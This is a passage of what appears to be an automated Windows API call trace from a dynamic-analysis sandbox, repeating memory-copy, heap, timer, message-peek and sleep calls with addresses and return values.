Length=0x4 | out: Destination=0x14b1c48) [0120.568] GetLastError () returned 0x0 [0120.568] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.568] GetLastError () returned 0x0 [0120.568] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.568] GetLastError () returned 0x0 [0120.568] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.568] GetLastError () returned 0x0 [0120.568] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.568] GetLastError () returned 0x0 [0120.568] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.568] GetLastError () returned 0x0 [0120.568] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.569] GetLastError () returned 0x0 [0120.569] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.569] GetLastError () returned 0x0 [0120.569] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.569] GetLastError () returned 0x0 [0120.569] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.569] GetLastError () returned 0x0 [0120.569] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.569] GetLastError () returned 0x0 [0120.569] RtlMoveMemory (in: Destination=0x14b1c18, Source=0x18ea8c, Length=0x4 | out: Destination=0x14b1c18) [0120.569] GetLastError () returned 0x0 [0120.569] RtlMoveMemory (in: Destination=0x14b1c18, Source=0x18ea90, Length=0x4 | out: Destination=0x14b1c18) [0120.569] GetLastError () returned 0x0 [0120.569] GetCurrentProcessId () returned 0x9e0 [0120.569] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x3831c18 [0120.569] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832ec0 [0120.569] PeekMessageA (in: lpMsg=0x18e960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e960) returned 0 [0120.569] GetTickCount () returned 0x1150d1b [0120.569] GetTickCount () returned 0x1150d1b [0120.569] GetTickCount () returned 0x1150d1b [0120.569] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.569] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.569] GetTickCount () returned 0x1150d1b [0120.570] IsWindowVisible (hWnd=0x30268) returned 0 [0120.570] Sleep (dwMilliseconds=0x0) [0120.575] RtlMoveMemory (in: Destination=0x18ea8c, Source=0x14b1c68, Length=0x4 | out: Destination=0x18ea8c) [0120.575] GetLastError () returned 0x0 [0120.575] RtlMoveMemory (in: Destination=0x18ea90, Source=0x14b1c68, Length=0x4 | out: Destination=0x18ea90) [0120.575] GetLastError () returned 0x0 [0120.575] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.575] GetLastError () returned 0x0 [0120.575] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.575] GetLastError () returned 0x0 [0120.575] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.575] GetLastError () returned 0x0 [0120.575] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.575] GetLastError () returned 0x0 [0120.575] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.575] GetLastError () returned 0x0 [0120.575] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.575] GetLastError () returned 0x0 [0120.575] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.575] GetLastError () returned 0x0 [0120.575] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.575] GetLastError () returned 0x0 [0120.575] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.575] GetLastError () returned 0x0 [0120.575] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.575] GetLastError () returned 0x0 [0120.575] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.575] GetLastError () returned 0x0 [0120.576] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.576] GetLastError () returned 0x0 [0120.576] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.576] GetLastError () returned 0x0 [0120.576] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.576] GetLastError () returned 0x0 [0120.576] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.576] GetLastError () returned 0x0 [0120.576] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.576] GetLastError () returned 0x0 [0120.576] RtlMoveMemory (in: Destination=0x14b1c18, Source=0x18ea8c, Length=0x4 | out: Destination=0x14b1c18) [0120.576] GetLastError () returned 0x0 [0120.576] RtlMoveMemory (in: Destination=0x14b1c18, Source=0x18ea90, Length=0x4 | out: Destination=0x14b1c18) [0120.576] GetLastError () returned 0x0 [0120.576] GetCurrentProcessId () returned 0x9e0 [0120.576] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x3831c18 [0120.576] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832ec0 [0120.576] PeekMessageA (in: lpMsg=0x18e960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e960) returned 0 [0120.576] GetTickCount () returned 0x1150d1b [0120.576] GetTickCount () returned 0x1150d1b [0120.576] GetTickCount () returned 0x1150d1b [0120.576] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.576] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.576] GetTickCount () returned 0x1150d1b [0120.577] IsWindowVisible (hWnd=0x30268) returned 0 [0120.577] Sleep (dwMilliseconds=0x0) [0120.581] RtlMoveMemory (in: Destination=0x18ea8c, Source=0x14b1c68, Length=0x4 | out: Destination=0x18ea8c) [0120.581] GetLastError () returned 0x0 [0120.581] RtlMoveMemory (in: Destination=0x18ea90, Source=0x14b1c68, Length=0x4 | out: Destination=0x18ea90) [0120.581] GetLastError () returned 0x0 [0120.581] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.581] GetLastError () returned 0x0 [0120.581] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.581] GetLastError () returned 0x0 [0120.581] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.581] GetLastError () returned 0x0 [0120.581] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.581] GetLastError () returned 0x0 [0120.582] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.582] GetLastError () returned 0x0 [0120.582] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.582] GetLastError () returned 0x0 [0120.582] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.582] GetLastError () returned 0x0 [0120.582] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.582] GetLastError () returned 0x0 [0120.582] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.582] GetLastError () returned 0x0 [0120.582] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.582] GetLastError () returned 0x0 [0120.582] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.582] GetLastError () returned 0x0 [0120.582] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.582] GetLastError () returned 0x0 [0120.582] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.582] GetLastError () returned 0x0 [0120.582] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.582] GetLastError () returned 0x0 [0120.582] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.582] GetLastError () returned 0x0 [0120.582] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.582] GetLastError () returned 0x0 [0120.582] RtlMoveMemory (in: Destination=0x14b1c18, Source=0x18ea8c, Length=0x4 | out: Destination=0x14b1c18) [0120.582] GetLastError () returned 0x0 [0120.583] RtlMoveMemory (in: Destination=0x14b1c18, Source=0x18ea90, Length=0x4 | out: Destination=0x14b1c18) [0120.583] GetLastError () returned 0x0 [0120.583] GetCurrentProcessId () returned 0x9e0 [0120.583] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x3831c18 [0120.583] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832ec0 [0120.583] PeekMessageA (in: lpMsg=0x18e960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e960) returned 0 [0120.583] GetTickCount () returned 0x1150d2b [0120.583] GetTickCount () returned 0x1150d2b [0120.583] GetTickCount () returned 0x1150d2b [0120.583] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.583] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.583] GetTickCount () returned 0x1150d2b [0120.583] IsWindowVisible (hWnd=0x30268) returned 0 [0120.583] Sleep (dwMilliseconds=0x0) [0120.587] RtlMoveMemory (in: Destination=0x18ea8c, Source=0x14b1c68, Length=0x4 | out: Destination=0x18ea8c) [0120.587] GetLastError () returned 0x0 [0120.587] RtlMoveMemory (in: Destination=0x18ea90, Source=0x14b1c68, Length=0x4 | out: Destination=0x18ea90) [0120.587] GetLastError () returned 0x0 [0120.587] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.587] GetLastError () returned 0x0 [0120.587] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.587] GetLastError () returned 0x0 [0120.587] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.587] GetLastError () returned 0x0 [0120.587] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.587] GetLastError () returned 0x0 [0120.587] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.587] GetLastError () returned 0x0 [0120.587] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.587] GetLastError () returned 0x0 [0120.587] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.587] GetLastError () returned 0x0 [0120.588] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.588] GetLastError () returned 0x0 [0120.588] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.588] GetLastError () returned 0x0 [0120.588] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.588] GetLastError () returned 0x0 [0120.588] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.588] GetLastError () returned 0x0 [0120.588] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.588] GetLastError () returned 0x0 [0120.588] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.588] GetLastError () returned 0x0 [0120.588] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.588] GetLastError () returned 0x0 [0120.588] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.588] GetLastError () returned 0x0 [0120.588] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.588] GetLastError () returned 0x0 [0120.588] RtlMoveMemory (in: Destination=0x14b1c18, Source=0x18ea8c, Length=0x4 | out: Destination=0x14b1c18) [0120.588] GetLastError () returned 0x0 [0120.588] RtlMoveMemory (in: Destination=0x14b1c18, Source=0x18ea90, Length=0x4 | out: Destination=0x14b1c18) [0120.588] GetLastError () returned 0x0 [0120.588] GetCurrentProcessId () returned 0x9e0 [0120.588] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x3831c18 [0120.589] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832ec0 [0120.589] PeekMessageA (in: lpMsg=0x18e960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e960) returned 0 [0120.589] GetTickCount () returned 0x1150d2b [0120.589] GetTickCount () returned 0x1150d2b [0120.589] GetTickCount () returned 0x1150d2b [0120.589] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.589] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.589] GetTickCount () returned 0x1150d2b [0120.589] IsWindowVisible (hWnd=0x30268) returned 0 [0120.589] Sleep (dwMilliseconds=0x0) [0120.589] RtlMoveMemory (in: Destination=0x18ea8c, Source=0x14b1c68, Length=0x4 | out: Destination=0x18ea8c) [0120.589] GetLastError () returned 0x0 [0120.589] RtlMoveMemory (in: Destination=0x18ea90, Source=0x14b1c68, Length=0x4 | out: Destination=0x18ea90) [0120.589] GetLastError () returned 0x0 [0120.589] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.589] GetLastError () returned 0x0 [0120.589] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.589] GetLastError () returned 0x0 [0120.590] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.590] GetLastError () returned 0x0 [0120.590] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.590] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.590] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.590] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.590] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.590] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.590] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.590] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.590] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.590] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.590] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.590] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.590] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.590] RtlMoveMemory (in: Destination=0x14b1c18, Source=0x18ea8c, Length=0x4 | out: Destination=0x14b1c18) [0120.590] RtlMoveMemory (in: Destination=0x14b1c18, Source=0x18ea90, Length=0x4 | out: Destination=0x14b1c18) [0120.590] PeekMessageA (in: lpMsg=0x18e960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e960) returned 0 [0120.590] GetTickCount () returned 0x1150d2b [0120.590] GetTickCount () returned 0x1150d2b [0120.590] GetTickCount () returned 0x1150d2b [0120.590] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.590] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.590] GetTickCount () returned 0x1150d2b [0120.591] IsWindowVisible (hWnd=0x30268) returned 0 [0120.591] Sleep (dwMilliseconds=0x0) [0120.591] RtlMoveMemory (in: Destination=0x18ea8c, Source=0x14b1c68, Length=0x4 | out: Destination=0x18ea8c) [0120.591] RtlMoveMemory (in: Destination=0x18ea90, Source=0x14b1c68, Length=0x4 | out: Destination=0x18ea90) [0120.591] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.591] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.591] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.591] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.592] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.592] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.592] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.592] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.592] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.592] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.592] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.592] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.592] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.592] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.592] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.592] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.592] RtlMoveMemory (in: Destination=0x14b1c18, Source=0x18ea8c, Length=0x4 | out: Destination=0x14b1c18) [0120.592] RtlMoveMemory (in: Destination=0x14b1c18, Source=0x18ea90, Length=0x4 | out: Destination=0x14b1c18) [0120.592] PeekMessageA (in: lpMsg=0x18e960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e960) returned 0 [0120.592] GetTickCount () returned 0x1150d2b [0120.592] GetTickCount () returned 0x1150d2b [0120.592] GetTickCount () returned 0x1150d2b [0120.592] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.592] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.592] GetTickCount () returned 0x1150d2b [0120.593] IsWindowVisible (hWnd=0x30268) returned 0 [0120.593] Sleep (dwMilliseconds=0x0) [0120.594] RtlMoveMemory (in: Destination=0x18ea8c, Source=0x14b1c68, Length=0x4 | out: Destination=0x18ea8c) [0120.594] RtlMoveMemory (in: Destination=0x18ea90, Source=0x14b1c68, Length=0x4 | out: Destination=0x18ea90) [0120.594] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.594] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.594] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.594] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.594] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.594] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.594] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.594] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.594] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.594] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.594] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.594] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.594] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.594] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.594] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.594] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.594] RtlMoveMemory (in: Destination=0x14b1c18, Source=0x18ea8c, Length=0x4 | out: Destination=0x14b1c18) [0120.594] RtlMoveMemory (in: Destination=0x14b1c18, Source=0x18ea90, Length=0x4 | out: Destination=0x14b1c18) [0120.594] PeekMessageA (in: lpMsg=0x18e960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e960) returned 0 [0120.594] GetTickCount () returned 0x1150d2b [0120.594] GetTickCount () returned 0x1150d2b [0120.595] GetTickCount () returned 0x1150d2b [0120.595] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.595] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.595] GetTickCount () returned 0x1150d2b [0120.595] IsWindowVisible (hWnd=0x30268) returned 0 [0120.595] Sleep (dwMilliseconds=0x0) [0120.595] RtlMoveMemory (in: Destination=0x18ea8c, Source=0x14b1c68, Length=0x4 | out: Destination=0x18ea8c) [0120.595] RtlMoveMemory (in: Destination=0x18ea90, Source=0x14b1c68, Length=0x4 | out: Destination=0x18ea90) [0120.596] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.596] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.596] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.596] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.596] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.596] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.596] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.596] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.596] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.596] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.596] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.596] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.596] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.596] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.596] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.596] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.596] RtlMoveMemory (in: Destination=0x14b1c18, Source=0x18ea8c, Length=0x4 | out: Destination=0x14b1c18) [0120.596] RtlMoveMemory (in: Destination=0x14b1c18, Source=0x18ea90, Length=0x4 | out: Destination=0x14b1c18) [0120.596] PeekMessageA (in: lpMsg=0x18e960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e960) returned 0 [0120.597] GetTickCount () returned 0x1150d3b [0120.597] GetTickCount () returned 0x1150d3b [0120.597] GetTickCount () returned 0x1150d3b [0120.597] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.597] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.597] GetTickCount () returned 0x1150d3b [0120.597] IsWindowVisible (hWnd=0x30268) returned 0 [0120.597] Sleep (dwMilliseconds=0x0) [0120.598] RtlMoveMemory (in: Destination=0x18ea8c, Source=0x14b1c68, Length=0x4 | out: Destination=0x18ea8c) [0120.598] RtlMoveMemory (in: Destination=0x18ea90, Source=0x14b1c68, Length=0x4 | out: Destination=0x18ea90) [0120.598] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.598] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.598] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.598] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.598] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) [0120.598] RtlMoveMemory (in: Destination=0x14b1c48, Source=0x18ea08, Length=0x4 | out: Destination=0x14b1c48) 